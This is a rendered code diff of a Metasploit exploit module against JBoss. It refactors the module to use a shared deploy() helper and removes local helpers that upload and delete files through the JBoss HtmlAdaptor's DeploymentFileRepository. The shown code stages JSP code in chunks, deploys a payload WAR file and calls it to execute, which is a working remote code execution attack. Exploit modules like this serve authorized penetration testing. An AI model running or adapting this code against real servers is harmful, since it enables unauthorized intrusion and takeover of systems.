2
2
# This module requires Metasploit: http//metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
-
6
5
require 'msf/core'
7
6
8
7
class Metasploit3 < Msf ::Exploit ::Remote
@@ -205,7 +204,7 @@ def exploit
205
204
next_pos = current_pos + 5000 + rand ( 100 )
206
205
junk = "#{ content_var } =" + Rex ::Text . uri_encode ( stager_jsp_code [ current_pos , next_pos ] )
207
206
print_status ( "Uploading second stager (#{ current_pos } /#{ stager_jsp_code . length } )" )
208
- res = call_uri_mtimes ( head_stager_uri + junk )
207
+ res = deploy ( 'uri' => head_stager_uri + junk )
209
208
current_pos += next_pos
210
209
end
211
210
end
@@ -217,12 +216,12 @@ def exploit
217
216
if ( res . code == 200 || res . code == 500 )
218
217
print_status ( "Calling stager to deploy the payload warfile (might take some time)" )
219
218
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
220
- stager_res = call_uri_mtimes ( stager_uri )
219
+ stager_res = deploy ( 'uri' => stager_uri )
221
220
222
221
print_status ( "Try to call the deployed payload" )
223
222
# Try to execute the payload by calling the deployed WAR file
224
223
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
225
- payload_res = call_uri_mtimes ( payload_uri )
224
+ payload_res = deploy ( 'uri' => payload_uri )
226
225
227
226
#
228
227
# DELETE
@@ -249,103 +248,4 @@ def exploit
249
248
end
250
249
251
250
252
- # Upload a text file with DeploymentFileRepository.store()
253
- def upload_file ( base_name , jsp_name , content )
254
- data = 'action=invokeOpByName'
255
- data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
256
- data << '&methodName=store'
257
- data << '&argType=java.lang.String'
258
- data << '&arg0=' + Rex ::Text . uri_encode ( base_name ) + '.war'
259
- data << '&argType=java.lang.String'
260
- data << '&arg1=' + jsp_name
261
- data << '&argType=java.lang.String'
262
- data << '&arg2=.jsp'
263
- data << '&argType=java.lang.String'
264
- data << '&arg3=' + Rex ::Text . uri_encode ( content )
265
- data << '&argType=boolean'
266
- data << '&arg4=True'
267
-
268
- if ( datastore [ 'VERB' ] == "POST" )
269
- res = send_request_cgi (
270
- {
271
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , '/HtmlAdaptor' ) ,
272
- 'method' => datastore [ 'VERB' ] ,
273
- 'data' => data
274
- } , 5 )
275
- else
276
- res = send_request_cgi (
277
- {
278
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , '/HtmlAdaptor' ) + "?#{ data } " ,
279
- 'method' => datastore [ 'VERB' ] ,
280
- } , 30 )
281
- end
282
-
283
- res
284
- end
285
-
286
-
287
- # Delete a file with DeploymentFileRepository.remove().
288
- def delete_file ( folder , name , ext )
289
- data = 'action=invokeOpByName'
290
- data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
291
- data << '&methodName=remove'
292
- data << '&argType=java.lang.String'
293
- data << '&arg0=' + folder
294
- data << '&argType=java.lang.String'
295
- data << '&arg1=' + name
296
- data << '&argType=java.lang.String'
297
- data << '&arg2=' + ext
298
-
299
- if ( datastore [ 'VERB' ] == "POST" )
300
- res = send_request_cgi (
301
- {
302
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , '/HtmlAdaptor' ) ,
303
- 'method' => datastore [ 'VERB' ] ,
304
- 'data' => data
305
- } , 5 )
306
- else
307
- res = send_request_cgi (
308
- {
309
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , '/HtmlAdaptor;index.jsp' ) + "?#{ data } " ,
310
- 'method' => datastore [ 'VERB' ] ,
311
- } , 30 )
312
- end
313
- res
314
- end
315
-
316
- # Call the URL multiple times until we have hit
317
- def call_uri_mtimes ( uri , num_attempts = 5 )
318
- verb = datastore [ 'VERB' ]
319
- verb = 'HEAD' if ( datastore [ 'VERB' ] != 'GET' and datastore [ 'VERB' ] != 'POST' )
320
-
321
- # JBoss might need some time for the deployment. Try 5 times at most and
322
- # wait 5 seconds inbetween tries
323
- num_attempts . times do |attempt |
324
- res = send_request_cgi ( {
325
- 'uri' => uri ,
326
- 'method' => verb
327
- } , 30 )
328
-
329
- stripped_uri = uri [ 0 , 70 ] + "..."
330
- msg = nil
331
- if ( !res )
332
- msg = "Execution failed on #{ stripped_uri } [No Response]"
333
- elsif ( res . code < 200 or res . code >= 300 )
334
- msg = "http request failed to #{ stripped_uri } [#{ res . code } ]"
335
- elsif ( res . code == 200 )
336
- print_status ( "Successfully called '#{ stripped_uri } '" ) if datastore [ 'VERBOSE' ]
337
- return res
338
- end
339
-
340
- if ( attempt < num_attempts - 1 )
341
- msg << ", retrying in 5 seconds..."
342
- print_status ( msg ) if datastore [ 'VERBOSE' ]
343
- select ( nil , nil , nil , 5 )
344
- else
345
- print_error ( msg )
346
- return res
347
- end
348
- end
349
- end
350
-
351
251
end
0 commit comments